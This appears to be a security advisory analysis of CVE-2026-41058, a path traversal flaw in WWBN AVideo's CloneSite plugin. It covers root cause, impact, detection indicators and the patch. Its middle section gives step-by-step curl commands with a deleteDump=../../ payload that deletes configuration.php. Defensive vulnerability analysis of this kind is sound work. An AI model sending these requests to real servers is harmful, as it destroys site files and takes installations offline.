CVE-2026-41058: 
PHP vulnerability analysis and mitigation

CVE-2026-41058 is a path traversal vulnerability in WWBN AVideo's CloneSite plugin that allows authenticated attackers with low privileges to delete arbitrary files on the server. It represents an incomplete fix for the earlier CVE-2026-33293, as the deleteDump GET parameter in plugin/CloneSite/cloneServer.json.php still lacks path traversal filtering, enabling unlink() of files outside the intended clones/ directory via ../../ sequences. All AVideo versions 29.0 and below are affected. Disclosed on April 21, 2026, it carries a CVSS v3.1 base score of 8.1 (High) (GHSA-5879-4fmr-xwf2, GHSA-xmjm-86qv-g226).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). In plugin/CloneSite/cloneServer.json.php, the $_GET['deleteDump'] value is concatenated directly with $clonesDir and passed to unlink() without any call to basename(), realpath(), or ../ sanitization: $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");. The authentication guard thisURLCanCloneMe() requires only a valid clone URL and key pair approved by an admin — credentials held by any legitimate clone partner — meaning any such partner can craft a manual HTTP GET request with a traversal payload. A prior fix (commit 941decd) introduced basename() and a realpath() boundary check, but a directory separator edge case left the check bypassable; commit 3c729717 corrects this by appending DIRECTORY_SEPARATOR to the normalized $clonesDir prefix before comparison (GHSA-5879-4fmr-xwf2, GHSA-xmjm-86qv-g226, Patch Commit).

Successful exploitation allows an authenticated attacker to permanently delete any file readable by the web server process. Deleting configuration.php — which contains database credentials and is require_once'd by nearly every endpoint — renders the entire AVideo installation non-functional, constituting a complete denial of service. Additional consequences include deletion of .htaccess files (exposing protected directories), destruction of uploaded media and SQL backups, and weakening of security controls that could enable further attacks (GHSA-xmjm-86qv-g226).

Public proof-of-concept exploit material is available in both GitHub security advisories: GHSA-5879-4fmr-xwf2 includes a Python PoC script that validates the path traversal logic, and GHSA-xmjm-86qv-g226 provides step-by-step curl commands demonstrating live exploitation against a real AVideo deployment. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.045% (low), and the vulnerability is not listed in the CISA KEV catalog (GHSA-5879-4fmr-xwf2, GHSA-xmjm-86qv-g226).

1. Obtain clone credentials: Acquire a valid clone URL and key pair that has been approved by an AVideo admin (status 'a'), either through legitimate clone partner access or by compromising such credentials.
2. Identify target file: Determine a high-value file to delete, such as configuration.php (database credentials, causes full site outage) or .htaccess (exposes protected directories). Confirm the file exists: curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}"
3. Craft path traversal payload: Construct a deleteDump parameter value that traverses out of the clones/ directory to the target file, e.g., ../../videos/configuration.php (resolves from /var/www/html/videos/clones/ to /var/www/html/videos/configuration.php).
4. Send malicious GET request: Issue the crafted request to the CloneSite endpoint: curl -s "https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://approved-clone.local&key=VALID_CLONE_KEY&deleteDump=../../videos/configuration.php"
5. Confirm deletion: A response of {"error":false,...} confirms unlink() succeeded. Verify with: curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}" — a 404 or 500 response confirms the file is gone (GHSA-xmjm-86qv-g226).

• Network: Unusual HTTP GET requests to /plugin/CloneSite/cloneServer.json.php containing deleteDump parameter values with ../ or ../../ sequences; requests from unexpected source IPs using valid clone credentials.
• Logs: Web server access logs showing requests to cloneServer.json.php with deleteDump values containing path traversal sequences (e.g., deleteDump=../../); JSON responses with "error":false and "msg":"Delete Dump ..\/..\/..." in application logs.
• File System: Unexpected absence of configuration.php, .htaccess, or other critical files under the AVideo web root; missing SQL dump files or media files that were not intentionally removed.
• Application Behavior: AVideo returning fatal PHP errors or HTTP 500 responses site-wide (indicative of configuration.php deletion); previously protected directories becoming accessible (GHSA-xmjm-86qv-g226).

Update WWBN AVideo to a version incorporating commit 3c729717c26f160014a5c86b0b6accdbd613e7b2, which corrects the incomplete fix by appending DIRECTORY_SEPARATOR to the normalized $clonesDir prefix before the realpath() boundary check. As a workaround, restrict network access to plugin/CloneSite/cloneServer.json.php via firewall rules or web server configuration, and enforce strict input validation on the deleteDump parameter to reject any values containing ../ sequences. Audit all approved clone partner credentials and revoke any that are no longer necessary (GHSA-5879-4fmr-xwf2, Patch Commit).